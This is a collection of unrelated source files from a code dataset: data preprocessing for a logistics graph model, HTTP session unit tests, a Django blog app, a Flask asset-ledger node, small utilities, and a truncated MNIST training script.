parallelize_dataframe(edge_h,agg_hour,n_cores=n_cores)\n edge_flatten_w = parallelize_dataframe(edge_w,agg_week,n_cores=n_cores)\n edge = pd.concat([edge_flatten_h,edge_flatten_w],axis=1).reset_index(drop=False)\n edge.to_csv(os.path.join(DIR,'edge.csv'),index=False,header=True)\n return edge\n\ndef normalized_egde_node(DIR,node,edge,threshold=0.05):\n edge['source_is_shenzhen'] = edge.source_zonecode.map(lambda x:x.startswith('755'))\n edge['dest_is_shenzhen'] = edge.dest_zonecode.map(lambda x:x.startswith('755'))\n edge.fillna(0.0,inplace=True)\n\n dest_flow_cols = ['dest_flow_weight_week_{}'.format(i) for i in range(1,8)]\n edge['dest_flow_avg'] = edge[dest_flow_cols].mean(axis=1)\n edge = edge[edge['dest_flow_avg']>threshold] \n\n order_1st_zonecode = set(edge[(edge['source_is_shenzhen']+edge['dest_is_shenzhen'])!=0]['source_zonecode'].unique().tolist() + \\\n edge[(edge['source_is_shenzhen']+edge['dest_is_shenzhen'])!=0]['dest_zonecode'].unique().tolist())\n order_2nd_zonecode = set(edge[edge.source_zonecode.isin(order_1st_zonecode)]['dest_zonecode'].unique().tolist() + \\\n edge[edge.dest_zonecode.isin(order_1st_zonecode)]['source_zonecode'].unique().tolist())\n edge = edge[edge.source_zonecode.isin(order_2nd_zonecode) & edge.dest_zonecode.isin(order_2nd_zonecode)].reset_index(drop=True)\n\n node = node[node.zonecode.isin(order_2nd_zonecode)]\n node_zonecode = node.zonecode.unique()\n edge = edge[edge.source_zonecode.isin(node_zonecode) & edge.dest_zonecode.isin(node_zonecode)].reset_index(drop=True)\n\n print(len(order_1st_zonecode),len(order_2nd_zonecode),len(node_zonecode))\n\n index = pd.MultiIndex.from_product([sorted(node.zonecode.unique()),\n pd.date_range(start='2020-04-01',end='2020-04-08',freq='H',\n closed='left').map(lambda x: datetime.datetime.strftime(x,'%Y-%m-%d-%H'))],\n names=['zonecode','tm'])\n node_flatten = pd.DataFrame(index=index).reset_index(drop=False) \n node_flatten = pd.merge(node_flatten,node.replace('N',np.nan),how='left',on=['zonecode','tm']).fillna(0.0)\n node_features = [\n 'outflow_delivery_volume', # LABEL\n 'outflow_transfer_volume', \n 'inflow_user_volume',\n 'inflow_transfer_volume', \n 'inflow_dest_volume',\n 'outflow_delivery_success',\n 'outflow_delivery_fail', \n 'inflow_lastzone_volume',\n 'inflow_firstzone_volume',\n 'inflow_total_volume',\n 'outflow_total_volume']\n node_flatten[node_features] = node_flatten[node_features].astype(float)\n edge.to_csv(os.path.join(DIR,'edge.3258.csv'))\n node_flatten.to_csv(os.path.join(DIR,'node.3258.csv')) \n\ndef dup_daily_node(DIR, periods=7*12):\n node_features = [\n 'outflow_delivery_volume', # LABEL\n 'outflow_transfer_volume', \n 'inflow_user_volume',\n 'inflow_transfer_volume', \n 'inflow_dest_volume',\n 'outflow_delivery_success',\n 'outflow_delivery_fail', \n 'inflow_lastzone_volume',\n 'inflow_firstzone_volume',\n 'inflow_total_volume',\n 'outflow_total_volume']\n node_flatten = pd.read_csv(os.path.join(DIR,'node.3258.csv'))\n node_flatten['tm_day'] = node_flatten['tm'].map(lambda x:x[:-3])\n node_flatten_day = node_flatten.groupby(['tm_day','zonecode'])[node_features].sum()\n node_label = pd.read_csv(os.path.join(DIR,'zone_history_sent.csv'))\n node_label.columns = ['zonecode','LABEL','tm_day','TYPE']\n node_label.tm_day = node_label.tm_day.map(lambda x:'-'.join([str(x)[:4],str(x)[4:6],str(x)[6:8]]))\n node_label = node_label[['zonecode','tm_day','LABEL']]\n node_flatten_day = pd.merge(node_flatten_day,node_label,on=['zonecode','tm_day'],how='left')\n node_flatten_day = node_flatten_day.set_index(['tm_day','zonecode'])\n\n node_flatten_test = node_flatten_day.loc['2020-04-07']\n tm_index = ['2020-04-01','2020-04-02','2020-04-03','2020-04-04','2020-04-05','2020-04-06','2020-04-06']\n tm_day = pd.date_range(end='2020-04-07',freq='D',periods=periods,closed='left').map(lambda x: datetime.datetime.strftime(x,'%Y-%m-%d'))\n\n node_flatten_list = []\n for i in range(periods-1):\n np.random.seed(i)\n tm_1,tm_2,tm_3 = (i-2)%7,(i-1)%7,i%7\n w_1,w_2,w_3 = np.random.rand(3)\n tmp_node = (node_flatten_day.loc[tm_index[tm_1]]*w_1 + \\\n node_flatten_day.loc[tm_index[tm_2]]*3*w_2 + \\\n node_flatten_day.loc[tm_index[tm_3]]*w_3) / (w_1 + w_2*3 + w_3)\n tmp_node['tm'] = tm_day[i]\n node_flatten_list.append(tmp_node)\n node_flatten_test['tm'] = '2020-04-07'\n node_flatten_list.append(node_flatten_test)\n node_flatten_sample = pd.concat(node_flatten_list,axis=0).reset_index(drop=False)\n node_features_selected = node_features\n node_flatten_sample = node_flatten_sample[['tm','zonecode'] + node_features_selected]\n node_flatten_sample[node_features_selected] = node_flatten_sample[node_features_selected].astype(int)\n\n node_flatten_sample.to_csv(os.path.join(DIR,'node.oversample.3258.csv'))\n \n\n\ndef collect_edge_node(DIR, add_self_loop=True):\n node_flatten_sample = pd.read_csv(os.path.join(DIR,'node.oversample.3258.csv'))\n edge = pd.read_csv(os.path.join(DIR,'edge.3258.csv'))\n edge_features = [item for item in edge.columns if '_hour_' in item or '_week_' in item]\n node_features = [\n # 'LABEL',\n 'outflow_delivery_volume', # LABEL\n 'outflow_transfer_volume', \n 'inflow_user_volume',\n 'inflow_transfer_volume', \n 'inflow_dest_volume',\n 'outflow_delivery_success',\n 'outflow_delivery_fail', \n 'inflow_lastzone_volume',\n 'inflow_firstzone_volume',\n 'inflow_total_volume',\n 'outflow_total_volume']\n\n node_zonecode = sorted(node_flatten_sample.zonecode.unique())\n zonecode2idx = {item:i for i,item in enumerate(node_zonecode)}\n idx2zonecode = {i:item for i,item in enumerate(node_zonecode)}\n shenzhen_mask = [item.startswith('755') for item in node_zonecode]\n edge['source_idx'] = edge.source_zonecode.map(zonecode2idx)\n edge['dest_idx'] = edge.dest_zonecode.map(zonecode2idx) \n\n A = edge[['source_idx','dest_idx']]\n A_self_loop = pd.DataFrame({'source_idx':range(len(node_zonecode)),'dest_idx':range(len(node_zonecode))})\n if add_self_loop:\n A = pd.concat([A,A_self_loop],ignore_index=True,axis=0)\n edge_index = np.transpose(A[['source_idx','dest_idx']].values, [1,0]).astype(int)\n edge_feature = edge[edge_features].values.astype(np.float32)\n if add_self_loop:\n edge_feature_self_loop = np.zeros(shape=(len(node_zonecode), len(edge_features)),dtype=np.float32)\n edge_feature = np.vstack((edge_feature,edge_feature_self_loop)).astype(np.float32)\n\n node_flatten_sample['idx'] = node_flatten_sample.zonecode.map(zonecode2idx)\n node_feature = node_flatten_sample.sort_values(['idx','tm'])[node_features].values\n num_nodes, num_timesteps, num_features = len(zonecode2idx),-1, len(node_features)\n node_feature = node_feature.reshape(num_nodes,num_timesteps,num_features)\n node_feature = np.transpose(node_feature, [0,2,1]).astype(np.float32) # num_nodes, num_timesteps, num_features -> num_nodes, num_features, num_timesteps\n\n np.save(os.path.join(DIR,'zonecode2idx.npy'),zonecode2idx)\n np.save(os.path.join(DIR,'idx2zonecode.npy'),idx2zonecode)\n np.save(os.path.join(DIR, 'shenzhenidxmask.npy'), shenzhen_mask)\n np.save(os.path.join(DIR,'edge.attr.npy'),[edge_index,edge_feature,edge_features])\n np.save(os.path.join(DIR,'node.attr.npy'),[node_feature,node_features])\n\nif __name__ == '__main__':\n DIR = 'data/SF-Example'\n # edge_h,edge_w,node = read_raw_data(DIR = DIR)\n # edge = write_normalized_edge(DIR,edge_h,edge_w,24)\n # normalized_egde_node(DIR, node, edge, threshold=0.05)\n dup_daily_node(DIR)\n collect_edge_node(DIR)","sub_path":"preprocess_sf.py","file_name":"preprocess_sf.py","file_ext":"py","file_size_in_byte":10722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"84900249","text":"import torch\nimport numpy as np\nimport random\n\n\ndef y_to_torch(y_list, shape=None):\n y_np = np.array(y_list)\n if shape is not None:\n y_np = y_np.reshape(shape)\n y_torch = torch.from_numpy(y_np).float()\n return y_torch\n\n\ndef random_splits(indices, test_size, valid_size):\n n = len(indices)\n np.random.shuffle(indices)\n split = int(np.floor(test_size * n))\n train_and_valid_idx, test_idx = indices[split:], indices[:split]\n n_tv = len(train_and_valid_idx)\n split = int(np.floor(valid_size * n_tv))\n train_idx, valid_idx = train_and_valid_idx[split:], train_and_valid_idx[:split]\n\n return train_idx, valid_idx, test_idx\n\n\ndef shuffle_lists(*lists):\n l = list(zip(*lists))\n random.shuffle(l)\n return zip(*l)\n\n\ndef assign(lt, ls):\n if lt is None:\n lt = ls\n else:\n lt += ls\n return lt\n","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"27517535","text":"\"\"\"Tests for asynchttp/session.py\"\"\"\n\nimport http.cookies\nimport tulip\nimport unittest\nimport unittest.mock\n\nimport asynchttp\nfrom asynchttp.client import HttpResponse\nfrom asynchttp.session import Session\n\n\nclass HttpSessionTests(unittest.TestCase):\n\n def setUp(self):\n self.loop = tulip.new_event_loop()\n tulip.set_event_loop(None)\n\n self.transport = unittest.mock.Mock()\n self.stream = asynchttp.StreamParser()\n self.response = HttpResponse('get', 'http://python.org')\n\n def tearDown(self):\n self.loop.close()\n\n def test_del(self):\n session = Session()\n close = session.close = unittest.mock.Mock()\n\n del session\n self.assertTrue(close.called)\n\n def test_close(self):\n tr = unittest.mock.Mock()\n\n session = Session()\n session._conns[1] = [(tr, object())]\n session.close()\n\n self.assertFalse(session._conns)\n self.assertTrue(tr.close.called)\n\n def test_get(self):\n session = Session()\n self.assertEqual(session._get(1), (None, None))\n\n tr, proto = unittest.mock.Mock(), unittest.mock.Mock()\n session._conns[1] = [(tr, proto)]\n self.assertEqual(session._get(1), (tr, proto))\n\n def test_release(self):\n session = Session()\n resp = unittest.mock.Mock()\n resp.message.should_close = False\n\n cookies = resp.cookies = http.cookies.SimpleCookie()\n cookies['c1'] = 'cookie1'\n cookies['c2'] = 'cookie2'\n\n tr, proto = unittest.mock.Mock(), unittest.mock.Mock()\n session._release(resp, 1, (tr, proto))\n self.assertEqual(session._conns[1][0], (tr, proto))\n self.assertEqual(session.cookies, dict(cookies.items()))\n\n def test_release_close(self):\n session = Session()\n resp = unittest.mock.Mock()\n resp.message.should_close = True\n\n cookies = resp.cookies = http.cookies.SimpleCookie()\n cookies['c1'] = 'cookie1'\n cookies['c2'] = 'cookie2'\n\n tr, proto = unittest.mock.Mock(), unittest.mock.Mock()\n session._release(resp, 1, (tr, proto))\n self.assertFalse(session._conns)\n self.assertTrue(tr.close.called)\n\n def test_call_new_conn_exc(self):\n tr, proto = unittest.mock.Mock(), unittest.mock.Mock()\n\n class Req:\n host = 'host'\n port = 80\n ssl = False\n\n def send(self, *args):\n raise ValueError()\n\n class Loop:\n @tulip.coroutine\n def create_connection(self, *args, **kw):\n return tr, proto\n\n session = Session()\n self.assertRaises(\n ValueError,\n self.loop.run_until_complete, session.start(Req(), Loop(), True))\n\n self.assertTrue(tr.close.called)\n\n def test_call_existing_conn_exc(self):\n existing = unittest.mock.Mock()\n tr, proto = unittest.mock.Mock(), unittest.mock.Mock()\n proto.is_connected.return_value = True\n\n class Req:\n host = 'host'\n port = 80\n ssl = False\n\n def send(self, transport):\n if transport is existing:\n transport.close()\n raise ValueError()\n else:\n return Resp()\n\n class Resp:\n @tulip.coroutine\n def start(self, *args, **kw):\n pass\n\n class Loop:\n @tulip.coroutine\n def create_connection(self, *args, **kw):\n return tr, proto\n\n session = Session()\n key = ('host', 80, False)\n session._conns[key] = [(existing, proto)]\n\n resp = self.loop.run_until_complete(session.start(Req(), Loop()))\n self.assertIsInstance(resp, Resp)\n self.assertTrue(existing.close.called)\n self.assertFalse(session._conns[key])\n\n def test_call_existing_closed(self):\n tr, proto = unittest.mock.Mock(), unittest.mock.Mock()\n proto.is_connected.return_value = False\n new_connection = False\n\n class Req:\n host = 'host'\n port = 80\n ssl = False\n\n def send(self, transport):\n return Resp()\n\n class Resp:\n @tulip.coroutine\n def start(self, *args, **kw):\n pass\n\n class Loop:\n @tulip.coroutine\n def create_connection(self, *args, **kw):\n nonlocal new_connection\n new_connection = True\n return tr, proto\n\n session = Session()\n key = ('host', 80, False)\n session._conns[key] = [(unittest.mock.Mock(), proto)]\n\n self.loop.run_until_complete(session.start(Req(), Loop()))\n self.assertTrue(new_connection)\n","sub_path":"tests/http_session_test.py","file_name":"http_session_test.py","file_ext":"py","file_size_in_byte":4785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"106866043","text":"import time\nimport mxnet as mx\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom gluonts.dataset.loader import TrainDataLoader\nfrom gluonts.model.deepar import DeepAREstimator\nfrom gluonts.trainer import Trainer\nfrom gluonts.dataset.artificial import shuffle_testing_dataset\nfrom gluonts.distribution.neg_binomial import NegativeBinomialOutput\nBATCH_SIZE = 32\nNUM_BATCH_PER_EPOCH = 50\nn = 300\ntime_list = []\nrange_list = range(1, 30)\nfor c in range_list:\n train_ds = shuffle_testing_dataset(n)\n estimator = DeepAREstimator(\n prediction_length=20,\n freq=\"D\",\n )\n transform = estimator.create_transformation()\n loader = TrainDataLoader(\n train_ds,\n transform=transform,\n batch_size=BATCH_SIZE,\n ctx=mx.cpu(),\n num_batches_per_epoch=NUM_BATCH_PER_EPOCH,\n shuffle_buffer_length=c * BATCH_SIZE,\n num_workers=2,\n )\n hit_list = [[0 for i in range(NUM_BATCH_PER_EPOCH)] for j in range(n)]\n print(f\"dataset size: {len(train_ds)}\")\n start_time = time.time()\n count = 0\n for batch in loader:\n print(f\"item id: {batch['item_id']}\")\n for item_id in batch['item_id'][0]:\n hit_list[item_id][count] += 1\n count += 1\n end_time = time.time()\n time_list.append(end_time - start_time)\n print(f\"elapsed time: {end_time - start_time}\")\n sns.set()\n ax = sns.heatmap(hit_list)\n plt.title(\"buffer length={} * batch_size\".format(c))\n plt.show()\nplt.plot(range_list, time_list)\nplt.show()","sub_path":"test/draw_shuffling_graph.py","file_name":"draw_shuffling_graph.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"445386021","text":"import numpy as np\r\nimport re\r\nimport os\r\n\r\ndef parse_power(str):\r\n content = open('./.reports/power_' + str, 'r').read()\r\n m = re.search(r'\\|\\sDynamic \\(W\\)\\s*\\|\\s([0-9.]*)\\s*\\|', content)\r\n assert(m)\r\n return m.group(1)\r\n\r\ndef parse_frequency(str):\r\n content = open('./.reports/timing_' + str, 'r').read()\r\n\r\n m = re.search(r\"^\\s*WNS\\(ns\\)\\s*TNS\\(ns\\).*\\n.*\\n\\s*([0-9\\-.]*)\", content, re.MULTILINE)\r\n\r\n if m.group(1):\r\n return 1000.0 / (10.0 - float(m.group(1)))\r\n else:\r\n return -1.0\r\n\r\ndef parse_ressources(str):\r\n content = open('./.reports/utilization_' + str, 'r').read()\r\n m = re.search(r'CLB LUTs\\s*\\|\\s*([0-9]*)[\\s\\S]*CLB Registers\\s*\\|\\s*([0-9]*)[\\s\\S]*CARRY8\\s*\\|\\s*([0-9]*)[\\s\\S]*DSPs\\s*\\|\\s*([0-9]*)', content)\r\n\r\n return (m[1], m[2], m[3], m[4])\r\n\r\ndef parse_no_dsp_ressources(str):\r\n content = open('./.reports/nodsputilization_' + str, 'r').read()\r\n m = re.search(r'CLB LUTs\\s*\\|\\s*([0-9]*)[\\s\\S]*CARRY8\\s*\\|\\s*([0-9]*)', content)\r\n\r\n return (m[1], m[2])\r\n\r\nmethods = set('_'.join(f.split('_')[1:]) for f in os.listdir('./.reports/'))\r\n\r\ndata = [(s.split('.')[0], parse_frequency(s), parse_power(s), *parse_ressources(s), *parse_no_dsp_ressources(s)) for s in methods]\r\n\r\nnp.savetxt('.metrics/{}_hardware.csv'.format(os.path.basename(os.getcwd())), data, header='method,f,pwr,lut,reg,carry,dsp,nodsplut,nodspcarry',comments='',delimiter=',',fmt='%s')","sub_path":"implementation/parse_reports.py","file_name":"parse_reports.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"521250344","text":"\n#this is the python node for the blockbase app\n\nfrom flask import Flask, request\nimport requests\nimport json\nimport hashlib\nimport datetime\n\nurl=\"http://localhost/blockbase/localcore.php\"\n\ndef hashing(text):\n\t\n\t#this is the hashing function\n\ttext=text.encode()\n\thashn=hashlib.sha256(text)\n\thashn=hashn.hexdigest()\n\t\n\treturn hashn\n\t\napp=Flask(__name__)\n\n@app.route(\"/userkeys\")\ndef userkeys():\n\t\n\t#a user wants his account to be hashed for anomity\n\tpublic=request.args.get(\"public_key\",\"\")\n\tprivate=request.args.get(\"private_key\",\"\")\n\t\n\tpublic=hashing(public)\n\tprivate=hashing(private)\n\t\n\tres=json.dumps([public,private])\n\t\n\treturn res\n\t\n\t\n@app.route(\"/history\")\ndef history():\n\t\n\t#client wants to know the owner and history of an asset\n\t\n\ttag=request.args.get(\"asset_tag\",\"\")\n\t\n\thead={'request':'long_history','asset_tag':tag}\n\treq=requests.post(url,data=head)\n\tinfo=json.loads(req.text)\n\t\n\tdata=[{'number':0,'time':'time','receiver':'owner'}]\n\ti=1\n\tfor x in info[0]:\n\t\ty={'number':i,'time':x[0],'receiver':x[3]}\n\t\tdata.append(y)\n\t\ti=i+1\n\t\n\treturn json.dumps(data)\n\n@app.route(\"/newasset\")\ndef add_new():\n\n\t#user wants to add a new asset into existance\n\ttime=datetime.datetime.now()\n\ttime=time.strftime(\"%d-%b-%y %H:%M\")\n\t\n\ttag=hashing(request.args.get(\"asset_tag\",\"\"))\n\ttrans=hashing(tag)\n\trec=request.args.get(\"receiver\",\"\")\n\tblo=\"newtag\"\n\ttra=request.args.get(\"descr\",\"\")\n\t\n\t#adding the purpose and location\n\tpurp=request.args.get(\"purpose\",\"\")\n\tloca=request.args.get(\"location\",\"\")\n\t\n\thead={'request':'check_trans','asset_tag':tag}\n\treq=requests.post(url,data=head)\n\t\n\t#TODO:check if asset exist in ledger\n\tdet=json.loads(req.text)\n\t\n\tif(det[0]==\"none\"):\n\t\thead={'request':'current_trans','timestamp':time,'trans_key':trans,'asset_tag':tag,'receiver':rec,'last_blo':blo,'last_tra':tra,'purp':purp,'loca':loca}\n\t\treq=requests.post(url,data=head)\n\t\t\n\t\tinfo=json.loads(req.text)\n\t\treturn json.dumps(info[0])\n\t\t\n\telse:\n\t\treturn \"trans exist\"\n\t\n@app.route(\"/transact\")\ndef transact():\n\n\t#a new transaction has been received\n\ttime=datetime.datetime.now()\n\ttime=time.strftime(\"%d-%b-%y %H:%M\")\n\t\n\ttag=request.args.get(\"asset_tag\",\"\")\n\tsender=request.args.get(\"sender\",\"\")\n\trec=request.args.get(\"receiver\",\"\")\n\tpurp=request.args.get(\"purpose\",\"\")\n\tloca=request.args.get(\"location\",\"\")\n\t\n\t#find last block\n\thead={'request':'retrive','asset_tag':tag}\n\treq=requests.post(url,data=head)\n\t\n\tinfo=json.loads(req.text)\n\tif(info[0]==sender):\n\t\tblo=info[1]\n\t\ttra=info[2]\n\t\ttrans=hashing(tag+tra)\n\t\t#check if transaction already exist\n\t\thead={'request':'check_trans','asset_tag':tag}\n\t\treq=requests.post(url,data=head)\n\t\tdet=json.loads(req.text)\n\t\tif(det[0]==\"none\"):\n\t\t\thead={'request':'current_trans','timestamp':time,'trans_key':trans,'asset_tag':tag,'receiver':rec,'last_blo':blo,'last_tra':tra,'purp':purp,'loca':loca}\n\t\t\treq=requests.post(url,data=head)\n\t\t\t\n\t\t\tinfo=json.loads(req.text)\n\t\t\treturn json.dumps(info[0])\n\t\t\t\n\t\telse:\n\t\t\treturn \"trans exist\"\n\t\t\t\t\n\t\t\t\n\t\t\n\telse:\n\t\treturn \"invalid sender\"\n\t\t\n\n@app.route(\"/assets_owned\")\ndef myassets():\n\t\n\t#a client wants to know all the assets he has\n\tpublic_key=request.args.get(\"public_key\",\"\")\n\t\n\thead={'request':'assets_owned','public_key':public_key}\n\treq=requests.post(url,data=head)\n\t\n\tinfo=json.loads(req.text)\n\t\n\tdata=[{'number':0,'asset_tag':'asset tag','desc':'description'}]\n\ti=1\n\t\n\tfor x in info[0]:\n\t\ty={'number':i,'asset_tag':x[1],'desc':x[3]}\n\t\ti=i+1\n\t\tdata.append(y)\n\t\n\treturn json.dumps(data)\n\t\n@app.route(\"/create_block\")\ndef create_block():\n\t\n\t#creating block\n\ttext=request.args.get(\"hash\",\"\")\n\ttext=hashing(text[0])\n\t\n\thead={'request':'create_block','hash':text}\n\treq=requests.post(url,data=head)\n\t\n\tinfo=json.loads(req.text)\n\t\n\treturn json.dumps(info[0])\n\t\n\t\n\n\n\t\n\t\n\t\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"108195082","text":"\nclass Solution(object):\n def permute(self, nums):\n if len(nums) == 0:\n return\n result = []\n buffer = []\n def permutation(nums, buffer):\n if len(nums) == 0:\n result.append([i for i in buffer])\n return\n for i, ch in enumerate(nums):\n buffer.append(ch)\n permutation(nums[:i] + nums[i+1:], buffer)\n buffer.pop()\n permutation(nums, buffer)\n return result\n\n\nnums = [1,2,3]\nres = Solution().permute(nums)\nprint(res)","sub_path":"backtracking/0046_permutations/0046_permutations.py","file_name":"0046_permutations.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"616779032","text":"from django.shortcuts import render,redirect\nfrom django.contrib.auth import logout\nfrom django.http import HttpResponse, HttpResponseRedirect, Http404\nfrom django.contrib import auth\nfrom django.contrib.auth.models import User\nfrom .models import BlogPost,Task,ApplyTask\n# Create your views here.\n\ndef task_list(request):\n data=Task.objects.all()\n return render(request,'task_list.html',{'data':data})\n\ndef task_detail(request,dtid):\n data=Task.objects.filter(id=dtid)\n request.session[\"dtid\"] = dtid\n return render(request,'task_details.html',{'data':data})\n\n\ndef apply(request):\n task=request.session[\"dtid\"]\n if request.method=='POST':\n ans=request.POST.get('ans')\n status='True'\n user_id = User.objects.get(username=request.user)\n ApplyTask.objects.create(ans=ans,status=status,task_id=task,created_user_id=user_id.id)\n return render(request,'apply.html')\n\ndef mysiteinfo(request):\n return render(request,'mysiteinfo.html')\n\n\ndef dashbord(request):\n data= BlogPost.objects.filter(created_user_id=request.user)\n count=data.count()\n print(count)\n applydata=ApplyTask.objects.filter(created_user_id=request.user)\n return render(request,'dashbortd.html',{'data':data,'applydata':applydata})\n\ndef details(request,sid):\n details = BlogPost.objects.get(pk=sid)\n print(details)\n return render(request,'details.html', {'details':details})\n\n\ndef edit(request,id):\n data=BlogPost.objects.get(id=id)\n if request.method=='POST' and request.POST:\n title = request.POST.get('title')\n hed1 = request.POST.get('hed1')\n hed2 = request.POST.get('hed2')\n hed3 = request.POST.get('hed3')\n p1 = request.POST.get('p1')\n p2 = request.POST.get('p2')\n p3 = request.POST.get('p3')\n image=request.FILES.get('image')\n if title==None:\n title=data.title\n if hed1==None:\n hed1=data.hed1\n if hed2==None:\n hed2=data.hed2\n if hed3==None:\n hed3=data.hed3\n if p1==None:\n p1=data.p1\n if p2==None:\n p2=data.p2\n if p3==None:\n p3=data.p3\n if image==None:\n image=data.image\n data.title = title\n data.hed1 = hed1\n data.hed2 = hed2\n data.hed3 = hed3\n data.p1 = p1\n data.p2 =p2\n data.p3 = p3\n data.image = image\n data.save()\n return render(request,'edit_post.html',{'data':data})\n\ndef delete(request,did):\n data=BlogPost.objects.get(id=did)\n data.delete()\n return redirect('home:dashbord')\n\n\ndef home(request):\n post = BlogPost.objects.all()\n print(post)\n return render(request,'index.html', {'post':post})\n\ndef blogpost(request ,id):\n post=BlogPost.objects.filter(id=id)\n print(post)\n return render(request,'blogpost.html',{'post':post})\n\n# title,hed1,p1,hed2,p2,hed3,p3,image\ndef create_blog(request):\n if request.method=='POST' and request.FILES:\n title=request.POST.get('title')\n hed1=request.POST.get('hed1')\n hed2=request.POST.get('hed2')\n hed3 = request.POST.get('hed3')\n p1=request.POST.get('p1')\n p2=request.POST.get('p2')\n p3 = request.POST.get('p3')\n image = request.FILES.get('image')\n user_id = User.objects.get(username=request.user)\n BlogPost.objects.create(title=title,hed1=hed1,hed2=hed2,hed3=hed3,p1=p1,p2=p2,p3=p3,image=image,created_user_id=user_id.id)\n return redirect('home:blogpage')\n else:\n return render(request,'create_blog.html')\n\n\ndef Register(request):\n if request.method=='POST':\n username=request.POST['username']\n firstname = request.POST['first_name']\n lastname = request.POST['last_name']\n email = request.POST['email']\n password = request.POST['password']\n x=User.objects.create_user(username=username,first_name=firstname,last_name=lastname,email=email,password=password)\n x.save()\n return redirect('home:home')\n else:\n return render(request,'index.html')\n\ndef LoginPage(request):\n if request.method == 'POST':\n username = request.POST[\"username\"]\n password = request.POST[\"password\"]\n user = auth.authenticate(username=username, password=password)\n if user is not None:\n auth.login(request, user)\n return redirect('home:home')\n else:\n return redirect('home:home')\n else:\n return render(request, 'home.html')\n\ndef UserLogout(request):\n logout(request)\n return redirect('home:home')\n\ndef blogpage(request):\n bpost = BlogPost.objects.filter(created_user_id=request.user)\n print(bpost)\n return render(request,'blog.html',{'bpost':bpost})","sub_path":"mysite/home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"81754050","text":"# coding:utf-8\nfrom core.handler import Handler\n\n\nclass ManagerView(object):\n def __init__(self, user_id):\n self.user_id = user_id\n self.console()\n\n def console(self):\n while True:\n msg = u\"\"\"\n 您可以选择如下操作:\n <\\033[36;1m1\\033[0m>.新增主机 <\\033[36;1m2\\033[0m>.新增主机组\n <\\033[36;1m3\\033[0m>.新增本地系统用户 <\\033[36;1m4\\033[0m>.新增远程登录账号\n <\\033[36;1m5\\033[0m>.新增主机映射关系 <\\033[36;1m6\\033[0m>.通过主机列表选择主机\n <\\033[36;1m7\\033[0m>.通过主机组选择主机 <\\033[36;1m8\\033[0m>.退出系统\n \"\"\"\n print(msg)\n actions = {\"1\": self.create_hosts,\n \"2\": self.create_groups,\n \"3\": self.create_users,\n \"4\": self.create_remoteusers,\n \"5\": self.create_bindhosts,\n \"6\": Handler.select_host_by_list,\n \"7\": Handler.select_host_by_group}\n num = input(u\"请输入您选择的操作的编号:\").strip()\n if num in actions:\n if num in [\"6\", \"7\"]:\n rsp = actions[num](self.user_id)\n print(rsp.msg)\n if rsp.code == 200:\n host_id = rsp.data\n Handler.start_host_session(self.user_id, host_id)\n else:\n actions[num]()\n elif num == \"8\":\n print(\"您已退出登录,欢迎再次访问本系统\")\n break\n else:\n print(u\"输入的操作编号{0}不存在,请核对后再试\".format(num))\n continue\n\n @staticmethod\n def create_hosts():\n file_path = input(u\"请输入配置文件的路径:\").strip()\n rsp = Handler.create_hosts(file_path)\n print(rsp.msg)\n\n @staticmethod\n def create_groups():\n file_path = input(u\"请输入配置文件的路径:\").strip()\n rsp = Handler.create_groups(file_path)\n print(rsp.msg)\n\n @staticmethod\n def create_users():\n file_path = input(u\"请输入配置文件的路径:\").strip()\n rsp = Handler.create_users(file_path)\n print(rsp.msg)\n\n @staticmethod\n def create_remoteusers():\n file_path = input(u\"请输入配置文件的路径:\").strip()\n rsp = Handler.create_remoteusers(file_path)\n print(rsp.msg)\n\n @staticmethod\n def create_bindhosts():\n file_path = input(u\"请输入配置文件的路径:\").strip()\n rsp = Handler.create_bindhosts(file_path)\n print(rsp.msg)\n","sub_path":"14、练习的项目/15_堡垒机/my_jump_server/core/views/manager_view.py","file_name":"manager_view.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"155046922","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tfhelper.tensorboard import get_tf_callbacks, run_tensorboard, wait_ctrl_c\n\n\n############# Data Preparation\n(x_train, y_train), (x_test, y_test) = tf.keras.datasets.mnist.load_data()\n\nmean_train = x_train.mean()\nstd_train = x_train.std()\n\nx_train = x_train - mean_train\nx_train = x_train / std_train\n\n# x_train, x_test = x_train / 255.0, x_test / 255.0\n\n# plt.imshow(x_test[0], cmap='gray')\n# plt.show()\n\n# y_train, y_test = tf.keras.utils.to_categorical(y_train), tf.keras.utils.to_categorical(y_test)\n############# Data Preparation\n\nlr = 0.25\nprint(\"Learning rate: {}\".format(lr))\n######### Model build\nmodel = tf.keras.models.Sequential([\n tf.keras.layers.Flatten(input_shape=(28, 28)),\n tf.keras.layers.Dense(1024, activation='relu', kernel_initializer=tf.keras.initializers.RandomNormal()),\n tf.keras.layers.Dense(512, activation='relu', kernel_initializer=tf.keras.initializers.RandomNormal()),\n tf.keras.layers.Dense(256, activation='relu', kernel_initializer=tf.keras.initializers.RandomNormal()),\n tf.keras.layers.Dense(128, activation='relu', kernel_initializer=tf.keras.initializers.RandomNormal()),\n tf.keras.layers.Dense(64, activation='relu', kernel_initializer=tf.keras.initializers.RandomNormal()),\n tf.keras.layers.Dense(32, activation='relu', kernel_initializer=tf.keras.initializers.RandomNormal()),\n tf.keras.layers.Dense(10, activation='softmax', 